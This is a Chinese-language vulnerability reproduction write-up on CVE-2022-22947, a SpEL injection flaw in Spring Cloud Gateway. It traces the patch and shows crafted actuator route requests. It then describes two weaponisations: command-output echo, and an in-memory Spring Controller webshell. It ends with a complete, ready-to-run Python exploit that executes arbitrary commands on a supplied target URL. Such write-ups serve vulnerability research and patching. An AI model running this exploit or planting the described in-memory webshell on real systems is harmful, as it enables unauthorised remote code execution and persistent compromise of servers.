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Spring Cloud Gateway表达式注入远程命令执行漏洞 CVE-2022-22947

# Spring Cloud Gateway表达式注入远程命令执行漏洞 CVE-2022-22947 ## 漏洞描述 Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关，它旨在为微服务架构提...

Spring Cloud Gateway表达式注入 远程命令执行漏洞 CVE-2022-22947
=================================================

漏洞描述
----

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关，它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

近日VMware官方发布了Spring Cloud Gateway存在SPEL表达式注入漏洞CVE-2022-22947，可导致未授权远程命令执行漏洞：

漏洞影响
----

Spring Cloud Gateway &lt; 3.1.1

Spring Cloud Gateway &lt; 3.0.7

Spring Cloud Gateway 其他已不再更新的版本

网络测绘
----

app="vmware-SpringBoot-Framework"

漏洞复现
----

可以从Github下载存在漏洞的版本v3.1.0，然后用idea载入：

![img](https://shs3.b.qianxin.com/butian_public/f5633357af3648c95c415d5629b0d1a6f093c3fd0a789.jpg)

&lt;br/&gt;

从漏洞通报来看，这是一个SPEL表达式注入漏洞，对比补丁`org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue`：

![img](https://shs3.b.qianxin.com/butian_public/f2754112487cef856a774335b402b9623d075f0ed51ba.jpg)

![img](https://shs3.b.qianxin.com/butian_public/f5328998e2d1d41b21b9cb449cb9260b0f6078c1d7e93.jpg)

&lt;br/&gt;

新版本将`getValue`函数中的`StandardEvaluationContext`替换成了`SimpleEvaluationContext`，从而修复了SPEL表达式注入。寻找`getValue`函数被调用的情况

![img](https://shs3.b.qianxin.com/butian_public/f20392845608fe991da5ccc3ba2118353ffe1aed10018.jpg)

&lt;br/&gt;

只在枚举值`ShortcutType`的三个取值（`DEFAULT`、`GATHER_LIST`、`GATHER_LIST_TAIL_FLAG`）中被调用：

![img](https://shs3.b.qianxin.com/butian_public/f1587380c2bb287ec3fd74f4f37ced3519d45e4396a5c.jpg)

&lt;br/&gt;

三个调用类似，以`DEFAULT`为例，继续寻找调用关系：

![img](https://shs3.b.qianxin.com/butian_public/f9779408e32511930fdba486ea540b78a2ed0781b792b.jpg)

一直定位到`RouteDefinitionLocator#convertToRoute`：

![img](https://shs3.b.qianxin.com/butian_public/f475629a118eb4ffb7feb9970d359a6d2b27cf986bc6b.jpg)

&lt;br/&gt;

尝试根据`RouteDefinition`提取`GatewayFilter`列表。这里的调用和路由以及过滤规则有关，查看Spring Cloud Gateway路由相关的接口定义：

![img](https://shs3.b.qianxin.com/butian_public/f869613fcfc7900b8b4a08b225ee43c1d051cf4929fa8.jpg)

&lt;br/&gt;

定位处理控制器`org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint`：

![img](https://shs3.b.qianxin.com/butian_public/f798934c98ae2b8fc4a718e7d02e865f3cb193c39533d.jpg)

&lt;br/&gt;

POST输入参数为`RouteDefinition`类型，与上面调用链中的`convertToRoute`函数的输入参数类型一致。

查看`RouteDefinition`定义：

![img](https://shs3.b.qianxin.com/butian_public/f346989b459e511c5f1c36199fb51f05893933bf28ea4.jpg)

&lt;br/&gt;

注意列表型变量`FilterDefinition`的定义：

![img](https://shs3.b.qianxin.com/butian_public/f1701388d2627736b6f023e1787c7f6afcf9922a2a047.jpg)

&lt;br/&gt;

参考`RouteDefinition`变量的定义很容易出构造POST测试请求：

```powershell
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 166

{
  "id": "id",
  "filters": [{
    "name": "123456",
    "args": {}
  }],
  "uri": "http://localhost"
}
```

触发断点：

![img](https://shs3.b.qianxin.com/butian_public/f862940b828265dfd175a5f06cc96d797cd2890f72046.jpg)

&lt;br/&gt;

首先会通过函数`validateRouteDefinition`对参数进行了检查：

![img](https://shs3.b.qianxin.com/butian_public/f306914d204aab975f86afe0eb74f10da0e4d27021660.jpg)

&lt;br/&gt;

进入验证函数`isAvailable`：

![img](https://shs3.b.qianxin.com/butian_public/f301589c52a78fa371cc8dcac15984278596b066f9d23.jpg)

代码中会验证`Filter`的`name`属性是否合法，合法列表整理如下：

```powershell
class org.springframework.cloud.gateway.filter.factory.AddRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.MapRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.DedupeResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyResponseBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.CacheRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PrefixPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PreserveHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RedirectToGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RetryGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SecureHeadersGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteLocationResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetStatusGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SaveSessionGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.StripPrefixGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderToRequestUriGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestSizeGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderSizeGatewayFilterFactory
```

&lt;br/&gt;

可以随意选择其中的一个`GatewayFilterFactory`，比如利用`Retry`来修改请求包：

{
  "id": "1234567",
  "filters": [{
    "name": "Retry",
    "args": {
"a":"payload"
   }
  }],
  "uri": "http://localhost"
}
```

&lt;br/&gt;

请求后显示路由创建成功。可以通过refresh来生效：

```json
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
```

&lt;br/&gt;

成功触发表达式解析：

![img](https://shs3.b.qianxin.com/butian_public/f286842d75b97920442b49e9f87a49aa8f8a2cdc8d3cc.jpg)

### 武器化一：命令回显

&lt;br/&gt;通过调试发现，在refresh路由时会调用对应`GatewayFilter`的`apply`函数。当成功创建新的路由后，可以通过GET请求获取配置信息：

![img](https://shs3.b.qianxin.com/butian_public/f5600956007311016b09918d4ae8477aa4af2dfa31373.jpg)

&lt;br/&gt;回顾前面合法的`GatewayFilter`列表，我们发现存在一个名为`AddResponseHeaderGatewayFilterFactory`的子类：

![img](https://shs3.b.qianxin.com/butian_public/f635185a1929744df83908f7aff3d6d70fa3f78c45a8b.jpg)

![img](https://shs3.b.qianxin.com/butian_public/f95386729f5dd23774c50e8319d9f5f366962c636e498.jpg)

&lt;br/&gt;`apply`函数会将配置信息写入HTTP响应数据包中，所以可以尝试利用`AddResponseHeaderGatewayFilterFactory`来构造命令回显请求：

![img](https://shs3.b.qianxin.com/butian_public/f9507354a00351e787dec8bef2f349a9f4902e9c67247.jpg)

&lt;br/&gt;refresh执行SPEL表达式，将结果写入HTTP响应流，然后访问创建的路由，可以将命令执行的结果回显出来：

![img](https://shs3.b.qianxin.com/butian_public/f3888042de9a99515e8c6731f8294c69a2a9b1c7ef8b7.jpg)

&lt;br/&gt;最后可以发送DELETE请求将创建的新路由删除。

### 武器化二：Spring Controller内存马

&lt;br/&gt;CVE-2022-22947是一个SPEL表达式注入漏洞，并且框架基于Spring Framework实现，所以我们考虑通过漏洞注入Spring内存马。Spring可以在Controller、Interceptor等不同层级构建不同的内存马

```json
本文尝试构造Spring Controller内存马。Spring可以通过`RequestMappingHandlerMapping`来完成`@Contoller`和`@RequestMapping`注解，这里有两个比较关键的类：

`RequestMappingInfo`：一个封装类，对一次http请求中的相关信息进行封装
`HandlerMethod`：对Controller的处理请求方法的封装，里面包含了该方法所属的bean、method、参数等对象

函数`RequestMappingHandlerMapping#registerHandlerMethod`可以将Controller函数与`RequestMappingInfo`对象关联起来。首先寻找`RequestMappingHandlerMapping`对象。我们可以尝试在内存中搜索，借助`java-object-searcher`搜索，结果如下：
```

![img](https://shs3.b.qianxin.com/butian_public/f276041c2dd89fc480ecf9b510367a4b9ab8f37149a34.jpg)

![img](https://shs3.b.qianxin.com/butian_public/f5896140e6efdd5d71a66c3686ec392489003fedf6130.jpg)

&lt;br/&gt;除了上面通过`Thread`的方式提取`RequestMappingInfo`之外，通过观察SPEL表达式解析的代码发现上下文环境存在`beanFactory`的对象：

![img](https://shs3.b.qianxin.com/butian_public/f243347c59d5054211b89b36859eda30506f4c153796e.jpg)

![img](https://shs3.b.qianxin.com/butian_public/f378021612c48c509e996f5fecb49e955dc394eaece4b.jpg)

&lt;br/&gt;存有337个Bean对象信息，可以利用下面代码辅助打印结果：

```json
for(int i = 0; i<((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray().length; i++){
    System.out.println(((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray()[i]);
}
```

![img](https://shs3.b.qianxin.com/butian_public/f400896ccd671b0c5d81f593ba5a4b79c7ad3389a7b56.jpg)

![img](https://shs3.b.qianxin.com/butian_public/f9752368efb8277454090d3994f7a0f7e11ae03444bdb.jpg)

&lt;br/&gt;直接利用SPEL上线文环境中的`beanFactory`即可获取`RequestMappingHandlerMapping`对象。SPEL表达式中可以通过`@`来获取`BeanResolver`配置的beans对象：

![img](https://shs3.b.qianxin.com/butian_public/f1894016ba2a733374f1bd3c42e2f3bd482574ac223ec.jpg)

&lt;br/&gt;接下来创建内存马的过程就很简单了，最终效果就是将如下自定义的`Controller`子类通过SPEL表达式注入到内存并通过`RequestMappingHandlerMapping`对象完成路由注册：

![img](https://shs3.b.qianxin.com/butian_public/f343012c126714d82a82f19797b8bf16e1fd4afe0d37e.jpg)

&lt;br/&gt;构造完新的payload后，发送数据包：

![img](https://shs3.b.qianxin.com/butian_public/f79045372481a186bdefe2229b7a290a45f86583a0d45.jpg)

&lt;br/&gt;refresh后将注入内存马：

![img](https://shs3.b.qianxin.com/butian_public/f93797126e29adae0247d14e5e8bcd7acabb76e9dd24a.jpg)

&lt;br/&gt;最后同样记得发送DELETE请求将创建的路由删除。

漏洞POC
-----

[https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947/blob/main/spring\_cloud\_RCE.py](https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947/blob/main/spring_cloud_RCE.py)

```python
import requests
import json
import sys

def exec(url):

headers1 = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/json'
    }

headers2 = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

## command to execute replace "id" in payload

payload = '''{\r
      "id": "hacktest",\r
      "filters": [{\r
        "name": "AddResponseHeader",\r
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
        }],\r
      "uri": "http://example.com",\r
      "order": 0\r
    }'''

re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
    re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
    re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
    re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
    re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
    print(re3.text)

if __name__ == "__main__":
  print('''   ██████  ██      ██ ████████        ████   ████   ████   ████         ████   ████   ████     ██  ██████
  ██░░░░██░██     ░██░██░░░░░        █░░░ █ █░░░██ █░░░ █ █░░░ █       █░░░ █ █░░░ █ █░░░ █   █░█ ░░░░░░█
 ██    ░░ ░██     ░██░██            ░    ░█░█  █░█░    ░█░    ░█      ░    ░█░    ░█░█   ░█  █ ░█      ░█
░██       ░░██    ██ ░███████  █████   ███ ░█ █ ░█   ███    ███  █████   ███    ███ ░ ████  ██████     █ 
░██        ░░██  ██  ░██░░░░  ░░░░░   █░░  ░██  ░█  █░░    █░░  ░░░░░   █░░    █░░   ░░░█  ░░░░░█     █  
░░██    ██  ░░████   ░██             █     ░█   ░█ █      █            █      █        █       ░█    █   
 ░░██████    ░░██    ░████████      ░██████░ ████ ░██████░██████      ░██████░██████  █        ░█   █    
  ░░░░░░      ░░     ░░░░░░░░       ░░░░░░  ░░░░  ░░░░░░ ░░░░░░       ░░░░░░ ░░░░░░  ░         ░   ░     
 ██                   ██                 ██                              
░██       ██   ██    ░██                ░██                              
░██      ░░██ ██     ░██ ██   ██  █████ ░██  ██  ██████  ███████   █████ 
░██████   ░░███      ░██░██  ░██ ██░░░██░██ ██  ██░░░░██░░██░░░██ ██░░░██
░██░░░██   ░██    ██ ░██░██  ░██░██  ░░ ░████  ░██   ░██ ░██  ░██░███████
░██  ░██   ██    ░░  ░██░██  ░██░██   ██░██░██ ░██   ░██ ░██  ░██░██░░░░ 
░██████   ██      ██ ███░░██████░░█████ ░██░░██░░██████  ███  ░██░░██████
░░░░░    ░░      ░░ ░░░  ░░░░░░  ░░░░░  ░░  ░░  ░░░░░░  ░░░   ░░  ░░░░░░ 
usage: python3 test.py url
''')
  if(len(sys.argv)>1):
    url = sys.argv[1]
    exec(url)
  else:
    exit()
```

参考文章
----

[https://mp.weixin.qq.com/s/lKKOUvWqU1Qpexus5u\_3Uw](https://mp.weixin.qq.com/s/lKKOUvWqU1Qpexus5u_3Uw)

发表于 2024-07-12 18:48:59
阅读 ( 701 )
分类：开发框架

Spring Cloud Gateway表达式注入 远程命令执行漏洞 CVE-2022-22947

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Spring Cloud Gateway表达式注入远程命令执行漏洞 CVE-2022-22947